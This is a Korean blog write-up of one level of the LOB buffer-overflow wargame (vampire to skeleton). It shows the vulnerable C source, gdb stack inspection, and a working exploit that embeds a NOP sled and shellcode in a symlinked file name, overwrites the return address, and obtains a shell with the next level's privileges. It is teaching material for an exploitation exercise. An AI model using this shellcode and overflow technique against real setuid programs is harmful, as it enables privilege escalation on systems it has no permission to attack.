[10] vampire -> skeleton ( Stack Memory 실제구조 & Symbolic Link )

2017. 11. 17. 13:18SystemHacking/LOB(BOF원정대)


vampire / music world

[vampire@localhost vampire]$ /bin/bash2

[vampire@localhost vampire]$ SHELL=/bin/bash2


[ skeleton.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        // argc saver
        saved_argc = argc;
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}
 
cs


[ Stack 구조 ]

saved_argc

i

buffer            40byte    <-- 초기화

saved ebp       4byte

saved eip        RET        < --여기까지만 입력 가능( 48byte )

argc               

argv[0]            초기화

argv[1]            초기화

argv[2]            초기화


!!! 여기서 잠깐, 스택의 구조가 위에서 알고 있던 구조가 끝이 아니였다

아래와 같이 스택에는 더 많은 인자들이 존재하고 있었다


[ Stack구조 ] 

buffer

saved ebp

saved eip

argc

argv

... ( 생략 )

argv strings

environment strings

program name

NULL


쉘 코드를 어디에 올릴지 몰라서 당황하고 있었지만, 구세주처럼 등장한 존재가 있었다

바로 스택메모리의 마지막 전의 실행파일의 이름이 위치하고 있다 !! gdb를 통해 확인해보자


[vampire@localhost vampire]$ cp skeleton skeleton.cp

[vampire@localhost vampire]$ gdb -q skeleton.cp

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:       push   %ebp

0x8048501 <main+1>:     mov    %ebp,%esp

0x8048503 <main+3>:     sub    %esp,48

.... ( 생략 ) ....

0x8048670 <main+368>:   leave

0x8048671 <main+369>:   ret

(gdb) b *0x8048670

Breakpoint 1 at 0x8048670


(gdb) run $(python -c 'print "A" * 40 + "BBBB" + "\xbf\xbf\xbf\xbf"')


Starting program: /home/vampire/skeleton.cp $(python -c 'print "A" * 40 + "BBBB" + "\xbf\xbf\xbf\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒


Breakpoint 1, 0x8048670 in main ()


(gdb) x/24x $ebp-40

0xbffffab0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffac0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffad0:     0x00000000      0x00000000      0x42424242      0xbfbfbfbf

0xbffffae0:     0x00000000      0xbffffb24      0xbffffb30      0x40013868

0xbffffaf0:     0x00000002      0x08048450      0x00000000      0x08048471

0xbffffb00:     0x08048500      0x00000002      0xbffffb24      0x08048390

0xbffffb10:     0x080486ac      0x4000ae60      0xbffffb1c      0x40013e90

0xbffffb20:     0x00000002      0xbffffc1f      0xbffffc39      0x00000000

0xbffffb30:     0xbffffc6a      0xbffffc7c      0xbffffc95      0xbffffcb4

0xbffffb40:     0xbffffcd6      0xbffffce3      0xbffffea6      0xbffffec5

0xbffffb50:     0xbffffee2      0xbffffef7      0xbfffff16      0xbfffff21

0xbffffb60:     0xbfffff31      0xbfffff39      0xbfffff43      0xbfffff54


(gdb) x/s 0xbffffc1f

0xbffffc1f:      ""

.... ( 생략 ) ....

(gdb)

0xbfffffde:      ""

(gdb)

0xbfffffdf:      ""

(gdb)

0xbfffffe0:      ""

(gdb)

0xbfffffe1:      ""

(gdb)

0xbfffffe2:      "/home/vampire/skeleton.cp"    

처음부터 한개씩 확인해본 결과 argv가 모두 초기화 되었지만 스택에는 실행파일의 이름이 존재하고 있었다

(gdb)

0xbffffffc:      ""

(gdb)

0xbffffffd:      ""

(gdb)

0xbffffffe:      ""

(gdb)



* 실행파일명에 쉘 코드를 올려놓고 해당 파일명이 저장되는 주소를 알아낸 뒤 ret 시키면 쉘이 떨어지게 될 것이다


[ TEST ]

[vampire@localhost /tmp]$ cd vampire/

[vampire@localhost vampire]$ ls

[vampire@localhost vampire]$ ln -s ~/skeleton.cp $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')


[vampire@localhost vampire]$ gdb -q $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:       push   %ebp

0x8048501 <main+1>:     mov    %ebp,%esp

0x8048503 <main+3>:     sub    %esp,48

.... ( 생략 ) ....

0x8048670 <main+368>:   leave

0x8048671 <main+369>:   ret

(gdb) b *0x8048670

Breakpoint 1 at 0x8048670


(gdb) run $(python -c 'print "A" * 44 + "\xbf\xbf\xbf\xbf"')

(gdb) x/x $ebp

0xbffff998:     0x41414141

(gdb)

0xbffff99c:     0xbfbfbfbf

(gdb)

0xbffff9a0:     0x00000000

(gdb)

.... ( 생략 ) ....

0xbfffff43:      ""

(gdb)

0xbfffff44:      "/tmp/vampire/", '\220' <repeats 100 times>, 

"▒▒▒t$▒\025▒i▒])ɱ\0131E\032\003E\032\203▒\004▒▒b\217\223|\023G\216▒Rp▒▒\027\0278{▒\205Q\025\216▒▒\001\230-▒ѶO\232▒▒▒4@▒QM▒\202▒"

(gdb)

0xbffffffc:      ""

(gdb)


* 0xbfffff44 ~ 0xbffffffc : NOP + Shell Code 가 위치한다


[ payload 작성 ]

[vampire@localhost vampire]$ ls

skeleton  skeleton.c  skeleton.cp

[vampire@localhost vampire]$ ln -s skeleton $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')

[vampire@localhost vampire]$ ls

skeleton

skeleton.c

skeleton.cp

????????????????????????????????????????????????????????????????????????????????????????????????????▒▒▒t$▒?▒i▒])ɱ?1E??E??▒?▒▒b??|?G?▒Rp▒▒??8{▒?Q??▒▒??-▒ѶO?▒▒▒4@▒QM▒?▒

[vampire@localhost vampire]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "A" * 44 + "\x60\xff\xff\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`▒▒▒

bash$ id

uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)

bash$ whoami

skeleton

bash$ my-pass

euid = 510

shellcoder